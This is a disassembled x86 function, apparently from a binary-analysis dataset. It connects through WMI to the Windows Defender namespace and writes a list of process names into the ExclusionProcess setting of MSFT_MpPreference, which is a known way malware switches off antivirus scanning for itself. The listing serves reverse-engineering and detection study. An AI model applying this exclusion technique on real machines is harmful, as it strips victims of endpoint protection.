Function at 0x45d870
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a8d9c
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
push ebx
push esi
push edi
mov eax, dword [0x4db06c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov edi, ecx
mov eax, dword fs:[0x2c]
mov esi, dword [eax]
mov eax, dword [0x4f3eec]
cmp eax, dword [esi + 4]
jle 0x45d8e5
push 0x4f3eec
call fcn.00487731
add esp, 4
cmp dword [0x4f3eec], 0xffffffff
jne 0x45d8e5
mov ecx, str.wbemuuid.dll
mov dword [ebp - 4], 0
call fcn.00461d50
push 0x4f3eec
call fcn.004876e7
add esp, 4
push edi
mov edi, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call edi
mov esi, eax
mov dword [ebp - 0x34], esi
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
mov dword [ebp - 4], 1
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [ebp - 0x20], 0
lea eax, [ebp - 0x20]
push eax
push 0x4ae1bc
push 1
push 0
push 0x4ae28c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x45d970
xor ebx, ebx
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov byte [ebp - 4], 0x2a
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x45d955
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [ebp - 0x20], 0
test esi, esi
je 0x45d95c
push esi
call edi
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.ROOTMicrosoftWindowsDefender
call edi
mov edi, eax
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x10], 0
lea edx, [ebp - 0x10]
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x20]
push edx
push 0
push 0
mov eax, dword [ecx]
push 0
push 0
push 0
push 0
push edi
push ecx
call dword [eax + 0xc]
test eax, eax
js 0x45db6c
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [ebp - 0x10]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x45db6c
mov dword [ebp - 0x1c], 0
push 0
mov byte [ebp - 4], 0xa
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
push edx
push 0
push 0
mov ecx, dword [eax]
push str.MSFT_MpPreference
push eax
call dword [ecx + 0x18]
test eax, eax
jns 0x45d9f6
xor ebx, ebx
jmp 0x45db52
mov dword [ebp - 0x18], 0
push 0
mov byte [ebp - 4], 0xe
lea edx, [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
push edx
push 0
push esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x4c]
test eax, eax
jns 0x45da1e
xor ebx, ebx
jmp 0x45db3a
mov dword [ebp - 0x14], 0
mov byte [ebp - 4], 0x13
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 0x18]
push edx
push 0
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
test eax, eax
js 0x45db20
push dword [ebx + 0x14]
push 0
push 8
call dword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
mov edx, dword [ebx + 0x14]
xor ecx, ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], ecx
test edx, edx
jle 0x45da98
mov edi, dword [ebp - 0x2c]
xor eax, eax
cmp eax, edx
jge 0x45da70
mov eax, dword [ebx + 0x18]
mov eax, dword [eax + ecx*4]
mov eax, dword [eax + 0x10]
jmp 0x45da72
xor eax, eax
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push eax
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebx + 0x14]
inc ecx
mov dword [ebp - 0x24], ecx
mov eax, ecx
cmp ecx, edx
jl 0x45da61
mov edi, dword [ebp - 0x30]
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, 0x2008
lea edx, [ebp - 0x48]
mov word [ebp - 0x48], ax
mov eax, dword [ebp - 0x2c]
push 0x2008
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x14]
push edx
push 0
push str.ExclusionProcess
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
test eax, eax
js 0x45db20
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov dword [ebp - 0x28], 0
push 0
lea edx, [ebp - 0x28]
mov byte [ebp - 4], 0x1e
mov eax, dword [ebp - 0x10]
push edx
push dword [ebp - 0x14]
mov ecx, dword [eax]
push 0
push 0
push esi
push str.MSFT_MpPreference
push eax
call dword [ecx + 0x60]
xor ebx, ebx
test eax, eax
setns bl
mov byte [ebp - 4], 0x25
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x45db22
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [ebp - 0x28], 0
jmp 0x45db22
xor ebx, ebx
mov byte [ebp - 4], 0x26
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x45db3a
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [ebp - 0x14], 0
mov byte [ebp - 4], 0x27
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x45db52
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [ebp - 0x18], 0
mov byte [ebp - 4], 0x28
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x45db6e
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [ebp - 0x1c], 0
jmp 0x45db6e
xor ebx, ebx
mov byte [ebp - 4], 0x29
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x45db86
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [ebp - 0x10], 0
test edi, edi
je 0x45d937
push edi
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call edi
jmp 0x45d93d